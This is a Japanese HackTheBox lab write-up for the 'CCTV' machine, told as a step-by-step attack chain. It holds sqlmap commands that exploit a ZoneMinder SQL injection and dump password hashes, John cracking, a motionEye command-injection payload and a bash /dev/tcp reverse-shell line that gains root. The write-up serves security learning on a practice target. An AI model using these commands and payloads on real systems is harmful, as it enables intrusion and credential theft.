はじめに
本記事はHackTheBoxのWriteupです。
Machineは、CCTVです。
CCTVでは、ZoneMinderやmotioneyeの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-17 22:16 JST
Nmap scan report for cctv.htb (10.129.11.172)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: SecureVision CCTV & Security Solutions
27835/tcp closed unknown
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.26 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後cctv.htbにHTTPアクセスすると、以下の様な画面が表示されます。
SecureVisionは、セキュリティソリューションを提供しているサイトのようです。
ZoneMinder
画面右上の「Staff Login」を押すと、ZoneMinderのログイン画面が表示されます。
ZoneMinderは、クローズドな環境で利用するCCTVカメラなどを登録してモニタリングすることができるオープンソースのソフトウェアです。
デフォルトの認証情報(ユーザー名:admin、パスワード:admin)を入力したところ、ログインできました。
画面上部の「Options」を選択し、左ペインの「Versions」を参照すると、DYN_CURR_VERSIONより現在1.37.63バージョンを使用していることが確認できます。
脆弱性分析
ZoneMinderの1.37.63バージョンの脆弱性を調査したところ、CVE-2024-51482の脆弱性が見つかりました。
アドバイザリの「Boolean-based SQL Injection in ZoneMinder v1.37.* <= 1.37.64」によると、ZoneMinder v1.37.* <= 1.37.64では、web/ajax/event.php関数に関するブール値ベースのSQLインジェクションの脆弱性が存在するとのことです。
CVE-2024-51482の脆弱性を利用するため、sqlmapを実行して、データベースの列挙を行います。
$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=REDACTED" --dbms=mysql --dbs
[21:19:47] [INFO] fetching database names
[21:19:47] [INFO] fetching number of databases
[21:19:47] [INFO] resumed: 3
[21:19:47] [INFO] resumed: information_schema
[21:19:47] [INFO] resumed: performance_schema
[21:19:47] [INFO] resumed: zm
available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm
上記出力より、3個のデータベースが確認できました。引き続き、zmデータベースのテーブルを調査します。
$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=REDACTED" --dbms=mysql -D zm --tables
出力例
[43 tables]
+----------------------+
| Config |
| ControlPresets |
| Controls |
| Devices |
| Event_Data |
| Event_Summaries |
| Events_Archived |
| Events_Day |
| Events_Hour |
| Events_Month |
| Events_Tags |
| Events_Week |
| Filters |
| Frames |
| Groups_Monitors |
| Groups_Permissions |
| Manufacturers |
| Maps |
| Models |
| MonitorPresets |
| Monitor_Status |
| Monitors |
| Monitors_Permissions |
| MontageLayouts |
| Object_Types |
| Reports |
| Server_Stats |
| Servers |
| Sessions |
| Snapshots |
| Snapshots_Events |
| States |
| Stats |
| Tags |
| TriggersX10 |
| UonePresets |
| User_Preferences |
| Users |
| Zones |
| Events |
| Groups |
| Logs |
| Storage |
+----------------------+
興味深いUsersテーブルを見つけたので、カラム構造を確認します。
$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=REDACTED" -D zm -T Users --columns
[21:24:36] [INFO] resumed: Username
[21:24:36] [INFO] resumed: varchar(64)
[21:24:36] [INFO] resumed: Password
[21:24:36] [INFO] resumed: varchar(64)
上記結果を踏まえて、Usersテーブルからユーザー名とパスワードが抽出できました。
$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \ --cookie="REDACTED" \ --dbms=mysql \ --batch \ --sql-query="SELECT Username,Password FROM zm.Users WHERE Username='mark'" \ --threads=5
SELECT Username,Password FROM zm.Users [3]:
[*] admin,$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[*] mark,REDACTED.
[*] superadmin,$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
システムハッキング
取得した認証情報を利用して、足場を作ります。
アクセスの獲得
markユーザーのハッシュ値を解析するため、以下のコマンドを実行します。
$ echo 'REDACTED' > hash.txt
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED (?)
1g 0:00:00:13 DONE (2026-03-18 23:10) 0.07412g/s 448.3p/s 448.3c/s 448.3C/s cristhian..coolchick
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
クラックしたパスワードを利用して、SSHログインを行います。
$ ssh mark@cctv.htb
ユーザーフラグ
markユーザーのホームディレクトリでは、ユーザーフラグが見つからなかったため、/homeディレクトリを確認したところ、sa_markユーザーの存在が確認できました。
引き続き、sa_markユーザーの認証情報を探索する過程で、ローカルでリッスンしているポートを発見しました。
$ ss -aln -t4
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:1935 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:7999 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8554 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9081 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8888 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8765 0.0.0.0:*
8765番ボートに注目し、SSHポートフォワーディング後にアクセスすると、motionEyeの画面が表示されます。
motionEyeは、ネットワーク監視カメラ用Webインターフェースです。また、motionEyeのソースを確認すると、0.43.1b4バージョンであることが推測できます。
そして、/etc/motioneye/motion.confファイルより、adminユーザーのパスワードが確認できました。
# @admin_username admin
# @normal_username user
# @admin_password REDACTED
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
motionEyeの0.43.1b4に関する脆弱性を調査したところ、CVE-2025-60787が見つかりました。
CVE-2025-60787は、OSコマンドインジェクションの脆弱性です。
サニタイズされていないユーザー入力がMotionの設定ファイルに書き込まれることで、攻撃者は不正なコマンドを埋め込むことが可能になります。その結果、管理者権限を持つリモートの認証済み攻撃者は、Motionの再起動時に任意のコードを実行することができます。
「MotionEye RCE via Client-Side Validation Bypass」のPoCを参考にしながら、OSコマンドの実行できるか試します。
「Still Images」に$(touch /tmp/test).%Y-%m-%d-%H-%M-%Sのコマンドを入力し、クライアント側の検証チェックをバイパス後、/tmp/testファイルが作成できました。
-rw-r--r-- 1 root root 0 Mar 19 14:01 test
リバースシェルを行うため、以下のようなコマンドを入力します。
/bin/sh -i >& /dev/tcp/REDACTED/4444 0>&1
上記設定変更後、リバースシェルが取得できます。
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.129.13.76] 46498
# id
id
uid=0(root) gid=0(root) groups=0(root)
ユーザーフラグである/home/sa_mark/user.txtを確認します。
ルートフラグ
既にルートユーザなため、ルートフラグも取得できます。
おわりに
CCTVでは、適切に管理されていない認証情報や複数の脆弱性を連鎖的に利用することで、初期アクセスからルート権限の取得に至る攻撃の流れについて学ぶことができました。





